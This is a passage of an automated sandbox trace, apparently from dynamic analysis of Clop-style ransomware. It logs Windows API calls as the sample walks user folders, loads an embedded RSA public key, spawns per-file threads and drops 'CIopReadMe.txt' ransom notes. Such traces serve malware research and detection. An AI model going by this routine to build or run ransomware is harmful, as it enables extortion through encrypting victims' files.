dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0096.872] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0xffffffff) returned 0x0 [0096.924] SetErrorMode (uMode=0x1) returned 0x1 [0096.924] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 61 [0096.924] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0096.924] CloseHandle (hObject=0x504) returned 1 [0096.924] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.924] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav", lpString2="..") returned 1 [0096.924] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav", lpString2=".") returned 1 [0096.924] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned 51 [0096.924] Sleep (dwMilliseconds=0xd) [0096.950] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.950] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="zdZ3oJ-bfmJu.wav" | out: lpString1="zdZ3oJ-bfmJu.wav") returned="zdZ3oJ-bfmJu.wav" [0096.950] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0096.950] SetErrorMode (uMode=0x1) returned 0x1 [0096.950] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 61 [0096.950] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0096.951] CloseHandle (hObject=0x508) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0096.951] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0096.951] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0096.951] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0096.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0096.951] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x6493f8 [0096.951] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.951] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.951] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0096.951] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.951] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0096.951] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 1 [0096.952] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 0 [0096.952] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0096.952] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 1 [0096.952] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 0 [0096.952] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0096.952] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0096.952] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0096.952] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0096.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0096.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0096.952] SetErrorMode (uMode=0x1) returned 0x1 [0096.952] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0096.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0096.952] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0096.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0096.952] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0096.952] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0096.952] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0096.952] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0096.952] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.952] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.952] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0096.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0096.952] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0096.953] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0096.953] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0096.953] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0096.953] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0096.953] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0096.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0096.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0096.953] SetErrorMode (uMode=0x1) returned 0x1 [0096.953] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0096.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0096.953] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0096.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0096.953] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0096.953] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.953] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.953] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav", lpString2="..") returned 1 [0096.953] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav", lpString2=".") returned 1 [0096.953] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned 58 [0096.953] Sleep (dwMilliseconds=0xd) [0096.995] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.995] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="zdZ3oJ-bfmJu.wav" | out: lpString1="zdZ3oJ-bfmJu.wav") returned="zdZ3oJ-bfmJu.wav" [0096.995] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0096.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0096.995] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0xffffffff) returned 0x0 [0096.998] SetErrorMode (uMode=0x1) returned 0x1 [0096.998] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 68 [0096.998] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\my documents\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0096.998] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0096.998] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0096.998] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0096.998] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0096.998] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0096.998] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\my documents\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.998] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0096.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.998] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0096.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0096.998] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0096.998] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.998] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0096.998] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0096.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.999] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0096.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.999] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0096.999] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0096.999] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0096.999] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0096.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0096.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0096.999] SetErrorMode (uMode=0x1) returned 0x1 [0096.999] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0096.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0096.999] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0096.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0096.999] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0096.999] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0096.999] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0096.999] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0096.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0096.999] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0096.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0096.999] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0096.999] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0096.999] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0096.999] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0096.999] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0096.999] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0096.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0096.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0096.999] SetErrorMode (uMode=0x1) returned 0x1 [0097.000] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0097.000] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0097.000] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0097.000] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0097.000] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0097.000] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0097.000] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0097.000] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav", lpString2="..") returned 1 [0097.000] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav", lpString2=".") returned 1 [0097.000] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: 